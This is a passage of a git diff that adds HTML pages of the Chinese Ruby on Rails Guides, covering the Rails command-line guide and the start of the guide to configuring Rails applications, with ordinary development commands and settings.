+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/command_line.html b/command_line.html new file mode 100644 index 0000000..a6254c8 --- /dev/null +++ b/command_line.html @@ -0,0 +1,810 @@ + + + + + + + +Rails 命令行 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Rails 命令行

读完本文后,您将学到:

+
    +
  • 如何新建 Rails 应用;
  • +
  • 如何生成模型、控制器、数据库迁移和单元测试;
  • +
  • 如何启动开发服务器;
  • +
  • 如果在交互式 shell 中测试对象;
  • +
+ + + + +
+
+ +
+
+
+

阅读本文前请阅读Rails 入门,掌握一些 Rails 基础知识。

1 命令行基础

有些命令在 Rails 开发过程中经常会用到,下面按照使用频率倒序列出:

+
    +
  • rails console +
  • +
  • rails server +
  • +
  • bin/rails +
  • +
  • rails generate +
  • +
  • rails dbconsole +
  • +
  • rails new app_name +
  • +
+

这些命令都可指定 -h--help 选项列出更多信息。

下面我们新建一个 Rails 应用,通过它介绍各个命令的用法。

1.1 rails new +

安装 Rails 后首先要做的就是使用 rails new 命令新建 Rails 应用。

如果还没安装 Rails ,可以执行 gem install rails 命令安装。

+
+$ rails new commandsapp
+     create
+     create  README.md
+     create  Rakefile
+     create  config.ru
+     create  .gitignore
+     create  Gemfile
+     create  app
+     ...
+     create  tmp/cache
+     ...
+        run  bundle install
+
+
+
+

这个简单的命令会生成很多文件,组成一个完整的 Rails 应用目录结构,直接就可运行。

1.2 rails server +

rails server 命令用于启动 Rails 自带的 Puma Web 服务器。若想在浏览器中访问应用,就要执行这个命令。

无需其他操作,执行 rails server 命令后就能运行刚才创建的 Rails 应用:

+
+$ cd commandsapp
+$ bin/rails server
+=> Booting Puma
+=> Rails 5.1.0 application starting in development on http://0.0.0.0:3000
+=> Run `rails server -h` for more startup options
+Puma starting in single mode...
+* Version 3.0.2 (ruby 2.3.0-p0), codename: Plethora of Penguin Pinatas
+* Min threads: 5, max threads: 5
+* Environment: development
+* Listening on tcp://localhost:3000
+Use Ctrl-C to stop
+
+
+
+

只执行了三个命令,我们就启动了一个 Rails 服务器,监听着 3000 端口。打开浏览器,访问 http://localhost:3000,你会看到一个简单的 Rails 应用。

启动服务器的命令还可使用别名“s”:rails s

如果想让服务器监听其他端口,可通过 -p 选项指定。所处的环境(默认为开发环境)可由 -e 选项指定。

+
+$ bin/rails server -e production -p 4000
+
+
+
+

-b 选项把 Rails 绑定到指定的 IP(默认为 localhost)。指定 -d 选项后,服务器会以守护进程的形式运行。

1.3 rails generate +

rails generate 目录使用模板生成很多东西。单独执行 rails generate 命令,会列出可用的生成器:

还可使用别名“g”执行生成器命令:rails g

+
+$ bin/rails generate
+Usage: rails generate GENERATOR [args] [options]
+
+...
+...
+
+Please choose a generator below.
+
+Rails:
+  assets
+  controller
+  generator
+  ...
+  ...
+
+
+
+

使用其他生成器 gem 可以安装更多的生成器,或者使用插件中提供的生成器,甚至还可以自己编写生成器。

使用生成器可以节省大量编写样板代码(即应用运行必须的代码)的时间。

下面我们使用控制器生成器生成一个控制器。不过,应该使用哪个命令呢?我们问一下生成器:

所有 Rails 命令都有帮助信息。和其他 *nix 命令一样,可以在命令后加上 --help-h 选项,例如 rails server --help

+
+$ bin/rails generate controller
+Usage: rails generate controller NAME [action action] [options]
+
+...
+...
+
+Description:
+    ...
+
+    To create a controller within a module, specify the controller name as a path like 'parent_module/controller_name'.
+
+    ...
+
+Example:
+    `rails generate controller CreditCards open debit credit close`
+
+    Credit card controller with URLs like /credit_cards/debit.
+        Controller: app/controllers/credit_cards_controller.rb
+        Test:       test/controllers/credit_cards_controller_test.rb
+        Views:      app/views/credit_cards/debit.html.erb [...]
+        Helper:     app/helpers/credit_cards_helper.rb
+
+
+
+

控制器生成器接受的参数形式是 generate controller ControllerName action1 action2。下面我们来生成 Greetings 控制器,包含一个动作 hello,通过它跟读者打个招呼。

+
+$ bin/rails generate controller Greetings hello
+     create  app/controllers/greetings_controller.rb
+      route  get "greetings/hello"
+     invoke  erb
+     create    app/views/greetings
+     create    app/views/greetings/hello.html.erb
+     invoke  test_unit
+     create    test/controllers/greetings_controller_test.rb
+     invoke  helper
+     create    app/helpers/greetings_helper.rb
+     invoke  assets
+     invoke    coffee
+     create      app/assets/javascripts/greetings.coffee
+     invoke    scss
+     create      app/assets/stylesheets/greetings.scss
+
+
+
+

这个命令生成了什么呢?它在应用中创建了一堆目录,还有控制器文件、视图文件、功能测试文件、视图辅助方法文件、JavaScript 文件和样式表文件。

打开控制器文件(app/controllers/greetings_controller.rb),做些改动:

+
+class GreetingsController < ApplicationController
+  def hello
+    @message = "Hello, how are you today?"
+  end
+end
+
+
+
+

然后修改视图文件(app/views/greetings/hello.html.erb),显示消息:

+
+<h1>A Greeting for You!</h1>
+<p><%= @message %></p>
+
+
+
+

执行 rails server 命令启动服务器:

+
+$ bin/rails server
+=> Booting Puma...
+
+
+
+

要查看的 URL 是 http://localhost:3000/greetings/hello

在常规的 Rails 应用中,URL 的格式是 http://(host)/(controller)/(action),访问 http://(host)/(controller) 这样的 URL 会进入控制器的 index 动作。

Rails 也为数据模型提供了生成器。

+
+$ bin/rails generate model
+Usage:
+  rails generate model NAME [field[:type][:index] field[:type][:index]] [options]
+
+...
+
+Active Record options:
+      [--migration]            # Indicates when to generate migration
+                               # Default: true
+
+...
+
+Description:
+    Create rails files for model generator.
+
+
+
+

type 参数可用的全部字段类型参见 SchemaStatements 模块中 add_column 方法的 API 文档index 参数为相应的列生成索引。

不过我们暂且不直接生成模型(后文再生成),先来使用脚手架(scaffold)。Rails 中的脚手架会生成资源所需的全部文件,包括模型、模型所用的迁移、处理模型的控制器、查看数据的视图,以及各部分的测试组件。

我们要创建一个名为“HighScore”的资源,记录视频游戏的最高得分。

+
+$ bin/rails generate scaffold HighScore game:string score:integer
+    invoke  active_record
+    create    db/migrate/20130717151933_create_high_scores.rb
+    create    app/models/high_score.rb
+    invoke    test_unit
+    create      test/models/high_score_test.rb
+    create      test/fixtures/high_scores.yml
+    invoke  resource_route
+     route    resources :high_scores
+    invoke  scaffold_controller
+    create    app/controllers/high_scores_controller.rb
+    invoke    erb
+    create      app/views/high_scores
+    create      app/views/high_scores/index.html.erb
+    create      app/views/high_scores/edit.html.erb
+    create      app/views/high_scores/show.html.erb
+    create      app/views/high_scores/new.html.erb
+    create      app/views/high_scores/_form.html.erb
+    invoke    test_unit
+    create      test/controllers/high_scores_controller_test.rb
+    invoke    helper
+    create      app/helpers/high_scores_helper.rb
+    invoke    jbuilder
+    create      app/views/high_scores/index.json.jbuilder
+    create      app/views/high_scores/show.json.jbuilder
+    invoke  assets
+    invoke    coffee
+    create      app/assets/javascripts/high_scores.coffee
+    invoke    scss
+    create      app/assets/stylesheets/high_scores.scss
+    invoke  scss
+   identical    app/assets/stylesheets/scaffolds.scss
+
+
+
+

这个生成器检测到以下各组件对应的目录已经存在:模型、控制器、辅助方法、布局、功能测试、单元测试和样式表。然后创建“HighScore”资源的视图、控制器、模型和数据库迁移(用于创建 high_scores 数据表和字段),并设置好路由,以及测试等。

我们要运行迁移,执行文件 20130717151933_create_high_scores.rb 中的代码,这样才能修改数据库的模式。那么要修改哪个数据库呢?执行 bin/rails db:migrate 命令后会生成 SQLite3 数据库。稍后再详细说明 bin/rails

+
+$ bin/rails db:migrate
+==  CreateHighScores: migrating ===============================================
+-- create_table(:high_scores)
+   -> 0.0017s
+==  CreateHighScores: migrated (0.0019s) ======================================
+
+
+
+

介绍一下单元测试。单元测试是用来测试和做断言的代码。在单元测试中,我们只关注代码的一小部分,例如模型中的一个方法,测试其输入和输出。单元测试是你的好伙伴,你逐渐会意识到,单元测试的程度越高,生活的质量越高。真的。关于单元测试的详情,参阅Rails 应用测试指南

我们来看一下 Rails 创建的界面。

+
+$ bin/rails server
+
+
+
+

打开浏览器,访问 http://localhost:3000/high_scores,现在可以创建新的最高得分了(太空入侵者得了 55,160 分)。

1.4 rails console +

执行 console 命令后,可以在命令行中与 Rails 应用交互。rails console 使用的是 IRB,所以如果你用过 IRB 的话,操作起来很顺手。在控制台里可以快速测试想法,或者修改服务器端数据,而无需在网站中操作。

这个命令还可以使用别名“c”:rails c

执行 console 命令时可以指定在哪个环境中打开控制台:

+
+$ bin/rails console staging
+
+
+
+

如果你想测试一些代码,但不想改变存储的数据,可以执行 rails console --sandbox 命令。

+
+$ bin/rails console --sandbox
+Loading development environment in sandbox (Rails 5.1.0)
+Any modifications you make will be rolled back on exit
+irb(main):001:0>
+
+
+
+

1.4.1 apphelper 对象

在控制台中可以访问 apphelper 对象。

通过 app 可以访问 URL 和路径辅助方法,还可以发送请求。

+
+>> app.root_path
+=> "/"
+
+>> app.get _
+Started GET "/" for 127.0.0.1 at 2014-06-19 10:41:57 -0300
+...
+
+
+
+

通过 helper 可以访问 Rails 和应用定义的辅助方法。

+
+>> helper.time_ago_in_words 30.days.ago
+=> "about 1 month"
+
+>> helper.my_custom_helper
+=> "my custom helper"
+
+
+
+

1.5 rails dbconsole +

rails dbconsole 能检测到你正在使用的数据库类型(还能理解传入的命令行参数),然后进入该数据库的命令行界面。该命令支持 MySQL(包括 MariaDB)、PostgreSQL 和 SQLite3。

这个命令还可以使用别名“db”:rails db

1.6 rails runner +

runner 能以非交互的方式在 Rails 中运行 Ruby 代码。例如:

+
+$ bin/rails runner "Model.long_running_method"
+
+
+
+

这个命令还可以使用别名“r”:rails r

可以使用 -e 选项指定 runner 命令在哪个环境中运行。

+
+$ bin/rails runner -e staging "Model.long_running_method"
+
+
+
+

甚至还可以执行文件中的 Ruby 代码:

+
+$ bin/rails runner lib/code_to_be_run.rb
+
+
+
+

1.7 rails destroy +

destroy 可以理解成 generate 的逆操作,它能识别生成了什么,然后撤销。

这个命令还可以使用别名“d”:rails d

+
+$ bin/rails generate model Oops
+      invoke  active_record
+      create    db/migrate/20120528062523_create_oops.rb
+      create    app/models/oops.rb
+      invoke    test_unit
+      create      test/models/oops_test.rb
+      create      test/fixtures/oops.yml
+
+
+
+
+
+$ bin/rails destroy model Oops
+      invoke  active_record
+      remove    db/migrate/20120528062523_create_oops.rb
+      remove    app/models/oops.rb
+      invoke    test_unit
+      remove      test/models/oops_test.rb
+      remove      test/fixtures/oops.yml
+
+
+
+

2 bin/rails +

从 Rails 5.0+ 起,rake 命令内建到 rails 可执行文件中了,因此现在应该使用 bin/rails 执行命令。

bin/rails 支持的任务列表可通过 bin/rails --help 查看(可用的任务根据所在的目录有所不同)。每个任务都有描述,应该能帮助你找到所需的那个。

+
+$ bin/rails --help
+Usage: rails COMMAND [ARGS]
+
+The most common rails commands are:
+generate    Generate new code (short-cut alias: "g")
+console     Start the Rails console (short-cut alias: "c")
+server      Start the Rails server (short-cut alias: "s")
+...
+
+All commands can be run with -h (or --help) for more information.
+
+In addition to those commands, there are:
+about                               List versions of all Rails ...
+assets:clean[keep]                  Remove old compiled assets
+assets:clobber                      Remove compiled assets
+assets:environment                  Load asset compile environment
+assets:precompile                   Compile all the assets ...
+...
+db:fixtures:load                    Loads fixtures into the ...
+db:migrate                          Migrate the database ...
+db:migrate:status                   Display status of migrations
+db:rollback                         Rolls the schema back to ...
+db:schema:cache:clear               Clears a db/schema_cache.yml file
+db:schema:cache:dump                Creates a db/schema_cache.yml file
+db:schema:dump                      Creates a db/schema.rb file ...
+db:schema:load                      Loads a schema.rb file ...
+db:seed                             Loads the seed data ...
+db:structure:dump                   Dumps the database structure ...
+db:structure:load                   Recreates the databases ...
+db:version                          Retrieves the current schema ...
+...
+restart                             Restart app by touching ...
+tmp:create
+
+
+
+

还可以使用 bin/rails -T 列出所有任务。

2.1 about +

bin/rails about 输出以下信息:Ruby、RubyGems、Rails 的版本号,Rails 使用的组件,应用所在的文件夹,Rails 当前所处的环境名,应用使用的数据库适配器,以及数据库模式版本号。如果想向他人需求帮助,检查安全补丁对你是否有影响,或者需要查看现有 Rails 应用的状态,就可以使用这个任务。

+
+$ bin/rails about
+About your application's environment
+Rails version             5.1.0
+Ruby version              2.2.2 (x86_64-linux)
+RubyGems version          2.4.6
+Rack version              2.0.1
+JavaScript Runtime        Node.js (V8)
+Middleware:               Rack::Sendfile, ActionDispatch::Static, ActionDispatch::Executor, ActiveSupport::Cache::Strategy::LocalCache::Middleware, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, ActionDispatch::RemoteIp, Sprockets::Rails::QuietAssets, Rails::Rack::Logger, ActionDispatch::ShowExceptions, WebConsole::Middleware, ActionDispatch::DebugExceptions, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::Migration::CheckPending, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, Rack::Head, Rack::ConditionalGet, Rack::ETag
+Application root          /home/foobar/commandsapp
+Environment               development
+Database adapter          sqlite3
+Database schema version   20110805173523
+
+
+
+

2.2 assets +

bin/rails assets:precompile 用于预编译 app/assets 文件夹中的静态资源文件。bin/rails assets:clean 用于把之前编译好的静态资源文件删除。滚动部署时应该执行 assets:clean,以防仍然链接旧的静态资源文件。

如果想完全清空 public/assets 目录,可以使用 bin/rails assets:clobber

2.3 db +

bin/rails 命名空间 db: 中最常用的任务是 migratecreate,这两个任务会尝试运行所有迁移相关的任务(updownredoreset)。bin/rails db:version 在排查问题时很有用,它会输出数据库的当前版本。

关于数据库迁移的进一步说明,参阅Active Record 迁移

2.4 notes +

bin/rails notes 在代码中搜索以 FIXME、OPTIMIZE 或 TODO 开头的注释。搜索的文件类型包括 .builder.rb.rake.yml.yaml.ruby.css.js.erb,搜索的注解包括默认的和自定义的。

+
+$ bin/rails notes
+(in /home/foobar/commandsapp)
+app/controllers/admin/users_controller.rb:
+  * [ 20] [TODO] any other way to do this?
+  * [132] [FIXME] high priority for next deploy
+
+app/models/school.rb:
+  * [ 13] [OPTIMIZE] refactor this code to make it faster
+  * [ 17] [FIXME]
+
+
+
+

可以使用 config.annotations.register_extensions 选项添加新的文件扩展名。这个选项的值是扩展名列表和对应的正则表达式。

+
+config.annotations.register_extensions("scss", "sass", "less") { |annotation| /\/\/\s*(#{annotation}):?\s*(.*)$/ }
+
+
+
+

如果想查看特定类型的注解,如 FIXME,可以使用 bin/rails notes:fixme。注意,注解的名称是小写形式。

+
+$ bin/rails notes:fixme
+(in /home/foobar/commandsapp)
+app/controllers/admin/users_controller.rb:
+  * [132] high priority for next deploy
+
+app/models/school.rb:
+  * [ 17]
+
+
+
+

此外,还可以在代码中使用自定义的注解,然后使用 bin/rails notes:custom,并通过 ANNOTATION 环境变量指定注解类型,将其列出。

+
+$ bin/rails notes:custom ANNOTATION=BUG
+(in /home/foobar/commandsapp)
+app/models/article.rb:
+  * [ 23] Have to fix this one before pushing!
+
+
+
+

使用内置的注解或自定义的注解时,注解的名称(FIXME、BUG 等)不会在输出中显示。

默认情况下,rails notesappconfigdblibtest 目录中搜索。如果想搜索其他目录,可以通过 config.annotations.register_directories 选项配置。

+
+config.annotations.register_directories("spec", "vendor")
+
+
+
+

此外,还可以通过 SOURCE_ANNOTATION_DIRECTORIES 环境变量指定,目录之间使用逗号分开。

+
+$ export SOURCE_ANNOTATION_DIRECTORIES='spec,vendor'
+$ bin/rails notes
+(in /home/foobar/commandsapp)
+app/models/user.rb:
+  * [ 35] [FIXME] User should have a subscription at this point
+spec/models/user_spec.rb:
+  * [122] [TODO] Verify the user that has a subscription works
+
+
+
+

2.5 routes +

rails routes 列出应用中定义的所有路由,可为解决路由问题提供帮助,还可以让你对应用中的所有 URL 有个整体了解。

2.6 test +

Rails 中的单元测试详情,参见Rails 应用测试指南

Rails 提供了一个名为 Minitest 的测试组件。Rails 的稳定性由测试决定。test: 命名空间中的任务可用于运行各种测试。

2.7 tmp +

Rails.root/tmp 目录和 *nix 系统中的 /tmp 目录作用相同,用于存放临时文件,例如 PID 文件和缓存的动作等。

tmp: 命名空间中的任务可以清理或创建 Rails.root/tmp 目录:

+
    +
  • rails tmp:cache:clear 清空 tmp/cache 目录;
  • +
  • rails tmp:sockets:clear 清空 tmp/sockets 目录;
  • +
  • rails tmp:clear 清空所有缓存和套接字文件;
  • +
  • rails tmp:create 创建缓存、套接字和 PID 所需的临时目录;
  • +
+

2.8 其他任务

+
    +
  • rails stats 用于统计代码状况,显示千行代码数和测试比例等;
  • +
  • rails secret 生成一个伪随机字符串,作为会话的密钥;
  • +
  • rails time:zones:all 列出 Rails 能理解的所有时区;
  • +
+

2.9 自定义 Rake 任务

自定义的 Rake 任务保存在 Rails.root/lib/tasks 目录中,文件的扩展名是 .rake。执行 bin/rails generate task 命令会生成一个新的自定义任务文件。

+
+desc "I am short, but comprehensive description for my cool task"
+task task_name: [:prerequisite_task, :another_task_we_depend_on] do
+  # 在这里定义任务
+  # 可以使用任何有效的 Ruby 代码
+end
+
+
+
+

向自定义的任务传入参数的方式如下:

+
+task :task_name, [:arg_1] => [:prerequisite_1, :prerequisite_2] do |task, args|
+  argument_1 = args.arg_1
+end
+
+
+
+

任务可以分组,放入命名空间:

+
+namespace :db do
+  desc "This task does nothing"
+  task :nothing do
+    # 确实什么也没做
+  end
+end
+
+
+
+

执行任务的方法如下:

+
+$ bin/rails task_name
+$ bin/rails "task_name[value 1]" # 整个参数字符串应该放在引号内
+$ bin/rails db:nothing
+
+
+
+

如果在任务中要与应用的模型交互、查询数据库等,可以使用 environment 任务加载应用代码。

3 Rails 命令行高级用法

Rails 命令行的高级用法就是找到实用的参数,满足特定需求或者工作流程。下面是一些常用的高级命令。

3.1 新建应用时指定数据库和源码管理系统

新建 Rails 应用时,可以设定一些选项指定使用哪种数据库和源码管理系统。这么做可以节省一点时间,减少敲击键盘的次数。

我们来看一下 --git--database=postgresql 选项有什么作用:

+
+$ mkdir gitapp
+$ cd gitapp
+$ git init
+Initialized empty Git repository in .git/
+$ rails new . --git --database=postgresql
+      exists
+      create  app/controllers
+      create  app/helpers
+...
+...
+      create  tmp/cache
+      create  tmp/pids
+      create  Rakefile
+add 'Rakefile'
+      create  README.md
+add 'README.md'
+      create  app/controllers/application_controller.rb
+add 'app/controllers/application_controller.rb'
+      create  app/helpers/application_helper.rb
+...
+      create  log/test.log
+add 'log/test.log'
+
+
+
+

上面的命令先新建 gitapp 文件夹,初始化一个空的 git 仓库,然后再把 Rails 生成的文件纳入仓库。再来看一下它在数据库配置文件中添加了什么:

+
+$ cat config/database.yml
+# PostgreSQL. Versions 9.1 and up are supported.
+#
+# Install the pg driver:
+#   gem install pg
+# On OS X with Homebrew:
+#   gem install pg -- --with-pg-config=/usr/local/bin/pg_config
+# On OS X with MacPorts:
+#   gem install pg -- --with-pg-config=/opt/local/lib/postgresql84/bin/pg_config
+# On Windows:
+#   gem install pg
+#       Choose the win32 build.
+#       Install PostgreSQL and put its /bin directory on your path.
+#
+# Configure Using Gemfile
+# gem 'pg'
+#
+development:
+  adapter: postgresql
+  encoding: unicode
+  database: gitapp_development
+  pool: 5
+  username: gitapp
+  password:
+...
+...
+
+
+
+

这个命令还根据我们选择的 PostgreSQL 数据库在 database.yml 中添加了一些配置。

指定源码管理系统选项时唯一的不便是,要先新建存放应用的目录,再初始化源码管理系统,然后才能执行 rails new 命令生成应用骨架。

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/configuring.html b/configuring.html new file mode 100644 index 0000000..7660c93 --- /dev/null +++ b/configuring.html @@ -0,0 +1,1252 @@ + + + + + + + +配置 Rails 应用 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+ +
+ +
+
+
+

1 初始化代码的存放位置

Rails 为初始化代码提供了四个标准位置:

+
    +
  • config/application.rb +
  • +
  • 针对各环境的配置文件
  • +
  • 初始化脚本
  • +
  • 后置初始化脚本
  • +
+

2 在 Rails 之前运行代码

虽然在加载 Rails 自身之前运行代码很少见,但是如果想这么做,可以把代码添加到 config/application.rb 文件中 require 'rails/all' 的前面。

3 配置 Rails 组件

一般来说,配置 Rails 的意思是配置 Rails 的组件和 Rails 自身。传给各个组件的设置在 config/application.rb 配置文件或者针对各环境的配置文件(如 config/environments/production.rb)中指定。

例如,config/application.rb 文件中有下述设置:

+
+config.time_zone = 'Central Time (US & Canada)'
+
+
+
+

这是针对 Rails 自身的设置。如果想把设置传给某个 Rails 组件,依然是在 config/application.rb 文件中通过 config 对象去做:

+
+config.active_record.schema_format = :ruby
+
+
+
+

Rails 会使用这个设置配置 Active Record。

3.1 Rails 的一般性配置

这些配置方法在 Rails::Railtie 对象上调用,例如 Rails::EngineRails::Application 的子类。

+
    +
  • +

    config.after_initialize 接受一个块,在 Rails 初始化应用之后运行。初始化过程包括初始化框架自身、引擎和 config/initializers 目录中的全部初始化脚本。注意,这个块会被 Rake 任务运行。可用于配置其他初始化脚本设定的值:

    +
    +
    +config.after_initialize do
    +  ActionView::Base.sanitized_allowed_tags.delete 'div'
    +end
    +
    +
    +
    +
  • +
  • config.asset_host 设定静态资源文件的主机名。使用 CDN 贮存静态资源文件,或者想绕开浏览器对同一域名的并发连接数的限制时可以使用这个选项。这是 config.action_controller.asset_host 的简短版本。

  • +
  • config.autoload_once_paths 接受一个路径数组,告诉 Rails 自动加载常量后不在每次请求中都清空。如果 config.cache_classes 的值为 false(开发环境的默认值),这个选项有影响。否则,都只自动加载一次。这个数组的全部元素都要在 autoload_paths 中。默认值为一个空数组。

  • +
  • config.autoload_paths 接受一个路径数组,让 Rails 自动加载里面的常量。默认值是 app 目录中的全部子目录。

  • +
  • config.cache_classes 控制每次请求是否重新加载应用的类和模块。在开发环境中默认为 false,在测试和生产环境中默认为 true

  • +
  • config.action_view.cache_template_loading 控制每次请求是否重新加载模板。默认值为 config.cache_classes 的值。

  • +
  • config.beginning_of_week 设定一周从周几开始。可接受的值是有效的周几符号(如 :monday)。

  • +
  • config.cache_store 配置 Rails 缓存使用哪个存储器。可用的选项有::memory_store:file_store:mem_cache_store:null_store,或者实现了缓存 API 的对象。默认值为 :file_store

  • +
  • config.colorize_logging 指定在日志中记录信息时是否使用 ANSI 颜色代码。默认值为 true

  • +
  • config.consider_all_requests_local 是一个旗标。如果设为 true,发生任何错误都会把详细的调试信息转储到 HTTP 响应中,而且 Rails::Info 控制器会在 /rails/info/properties 中显示应用的运行时上下文。开发和测试环境中默认为 true,生产环境默认为 false。如果想精细控制,把这个选项设为 false,然后在控制器中实现 local_request? 方法,指定哪些请求应该在出错时显示调试信息。

  • +
  • +

    config.console 设定 rails console 命令所用的控制台类。最好在 console 块中运行:

    +
    +
    +console do
    +  # 这个块只在运行控制台时运行
    +  # 因此可以安全引入 pry
    +  require "pry"
    +  config.console = Pry
    +end
    +
    +
    +
    +
  • +
  • config.eager_load 设为 true 时,及早加载注册的全部 config.eager_load_namespaces。包括应用、引擎、Rails 框架和注册的其他命名空间。

  • +
  • config.eager_load_namespaces 注册命名空间,当 config.eager_loadtrue 时及早加载。这里列出的所有命名空间都必须响应 eager_load! 方法。

  • +
  • config.eager_load_paths 接受一个路径数组,如果启用类缓存,启动 Rails 时会及早加载。默认值为 app 目录中的全部子目录。

  • +
  • config.enable_dependency_loading 设为 true 时,即便应用及早加载了,而且把 config.cache_classes 设为 true,也自动加载。默认值为 false

  • +
  • config.encoding 设定应用全局编码。默认为 UTF-8。

  • +
  • config.exceptions_app 设定出现异常时 ShowException 中间件调用的异常应用。默认为 ActionDispatch::PublicExceptions.new(Rails.public_path)

  • +
  • config.debug_exception_response_format 设定开发环境中出错时响应的格式。只提供 API 的应用默认值为 :api,常规应用的默认值为 :default

  • +
  • config.file_watcher 指定一个类,当 config.reload_classes_only_on_change 设为 true 时用于检测文件系统中文件的变动。Rails 提供了 ActiveSupport::FileUpdateChecker(默认)和 ActiveSupport::EventedFileUpdateChecker(依赖 listen gem)。自定义的类必须符合 ActiveSupport::FileUpdateChecker API。

  • +
  • config.filter_parameters 用于过滤不想记录到日志中的参数,例如密码或信用卡卡号。默认,Rails 把 Rails.application.config.filter_parameters += [:password] 添加到 config/initializers/filter_parameter_logging.rb 文件中,过滤密码。过滤的参数部分匹配正则表达式。

  • +
  • config.force_ssl 强制所有请求经由 ActionDispatch::SSL 中间件处理,即通过 HTTPS 伺服,而且把 config.action_mailer.default_url_options 设为 { protocol: 'https' }。SSL 通过设定 config.ssl_options 选项配置,详情参见 ActionDispatch::SSL 的文档

  • +
  • config.log_formatter 定义 Rails 日志记录器的格式化程序。这个选项的默认值在所有环境中都是 ActiveSupport::Logger::SimpleFormatter 的实例。如果为 config.logger 设定了值,必须在包装到 ActiveSupport::TaggedLogging 实例中之前手动把格式化程序的值传给日志记录器,Rails 不会为你代劳。

  • +
  • config.log_level 定义 Rails 日志记录器的详细程度。在所有环境中,这个选项的默认值都是 :debug。可用的日志等级有 :debug:info:warn:error:fatal:unknown

  • +
  • config.log_tags 的值可以是一组 request 对象响应的方法,可以是一个接受 request 对象的 Proc,也可以是能响应 to_s 方法的对象。这样便于为包含调试信息的日志行添加标签,例如二级域名和请求 ID——二者对调试多用户应用十分有用。

  • +
  • +

    config.logger 指定 Rails.logger 和与 Rails 有关的其他日志(ActiveRecord::Base.logger)所用的日志记录器。默认值为 ActiveSupport::TaggedLogging 实例,包装 ActiveSupport::Logger 实例,把日志存储在 log/ 目录中。你可以提供自定义的日志记录器,但是为了完全兼容,必须遵照下述指导方针:

    +
      +
    • 为了支持格式化程序,必须手动把 config.log_formatter 指定的格式化程序赋值给日志记录器。
    • +
    • 为了支持日志标签,日志实例必须使用 ActiveSupport::TaggedLogging 包装。
    • +
    • +

      为了支持静默,日志记录器必须引入 LoggerSilenceActiveSupport::LoggerThreadSafeLevel 模块。ActiveSupport::Logger 类已经引入这两个模块。

      +
      +
      +class MyLogger < ::Logger
      +  include ActiveSupport::LoggerThreadSafeLevel
      +  include LoggerSilence
      +end
      +
      +mylogger           = MyLogger.new(STDOUT)
      +mylogger.formatter = config.log_formatter
      +config.logger      = ActiveSupport::TaggedLogging.new(mylogger)
      +
      +
      +
      +
    • +
    +
  • +
  • config.middleware 用于配置应用的中间件。详情参见 配置中间件

  • +
  • config.reload_classes_only_on_change 设定仅在跟踪的文件有变化时是否重新加载类。默认跟踪自动加载路径中的一切文件,这个选项的值为 true。如果把 config.cache_classes 设为 true,这个选项将被忽略。

  • +
  • secrets.secret_key_base 用于指定一个密钥,检查应用的会话,防止篡改。secrets.secret_key_base 的值一开始是个随机的字符串,存储在 config/secrets.yml 文件中。

  • +
  • config.public_file_server.enabled 配置 Rails 从 public 目录中伺服静态文件。这个选项的默认值是 false,但在生产环境中设为 false,因为应该使用运行应用的服务器软件(如 NGINX 或 Apache)伺服静态文件。在生产环境中如果使用 WEBrick 运行或测试应用(不建议在生产环境中使用 WEBrick),把这个选项设为 true。否则无法使用页面缓存,也无法请求 public 目录中的文件。

  • +
  • +

    config.session_store 指定使用哪个类存储会话。可用的值有 :cookie_store(默认值)、:mem_cache_store:disabled。最后一个值告诉 Rails 不处理会话。cookie 存储器中的会话键默认使用应用的名称。也可以指定自定义的会话存储器:

    +
    +
    +config.session_store :my_custom_store
    +
    +
    +
    +

    这个自定义的存储器必须定义为 ActionDispatch::Session::MyCustomStore

    +
  • +
  • config.time_zone 设定应用的默认时区,并让 Active Record 知道。

  • +
+

3.2 配置静态资源

+
    +
  • config.assets.enabled 是个旗标,控制是否启用 Asset Pipeline。默认值为 true
  • +
  • config.assets.raise_runtime_errors 设为 true 时启用额外的运行时错误检查。推荐在 config/environments/development.rb 中设定,以免部署到生产环境时遇到意料之外的错误。
  • +
  • config.assets.css_compressor 定义所用的 CSS 压缩程序。默认设为 sass-rails。目前唯一的另一个值是 :yui,使用 yui-compressor gem 压缩。
  • +
  • config.assets.js_compressor 定义所用的 JavaScript 压缩程序。可用的值有 :closure:uglifier:yui,分别使用 closure-compileruglifieryui-compressor gem。
  • +
  • config.assets.gzip 是一个旗标,设定在静态资源的常规版本之外是否创建 gzip 版本。默认为 true
  • +
  • config.assets.paths 包含查找静态资源的路径。在这个配置选项中追加的路径,会在里面寻找静态资源。
  • +
  • config.assets.precompile 设定运行 rake assets:precompile 任务时要预先编译的其他静态资源(除 application.cssapplication.js 之外)。
  • +
  • config.assets.unknown_asset_fallback 在使用 sprockets-rails 3.2.0 或以上版本时用于修改 Asset Pipeline 找不到静态资源时的行为。默认为 true
  • +
  • config.assets.prefix 定义伺服静态资源的前缀。默认为 /assets
  • +
  • config.assets.manifest 定义静态资源预编译器使用的清单文件的完整路径。默认为 public 文件夹中 config.assets.prefix 设定的目录中的 manifest-<random>.json
  • +
  • config.assets.digest 设定是否在静态资源的名称中包含 SHA256 指纹。默认为 true
  • +
